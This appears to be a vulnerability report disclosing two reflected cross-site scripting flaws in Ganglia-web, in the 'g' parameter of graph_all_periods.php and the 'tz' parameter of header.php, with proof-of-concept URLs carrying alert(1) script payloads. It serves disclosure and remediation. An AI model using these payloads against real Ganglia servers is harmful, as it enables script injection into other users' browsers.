There are two xss in different version ranges

[fenglin-1]

The first XSS release: 3.73<=Ganglia-web<3.75
Vulnerability cause:
https://github.com/ganglia/ganglia-web/blob/3.7.3/graph_all_periods.php
The parameters passed in are not restricted, and the trigger point is the parameter g.

Vulnerability poc:
http://xxxxxx/ganglia//graph_all_periods.php?g=%22%22%20autofocus%20onfocus=alert(1)//%22

The second XSS release: 3.73<=Ganglia-web<=3.76
Vulnerability cause:
https://github.com/ganglia/ganglia-web/blob/master/header.php
The parameters passed in are not restricted, and the trigger point is the parameter tz.

Vulnerability poc:
http://xxxx/ganglia/?tz=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
http://xxxx/?tz=%22%3E%3Cscript%3Ealert(1)%3C/script%3E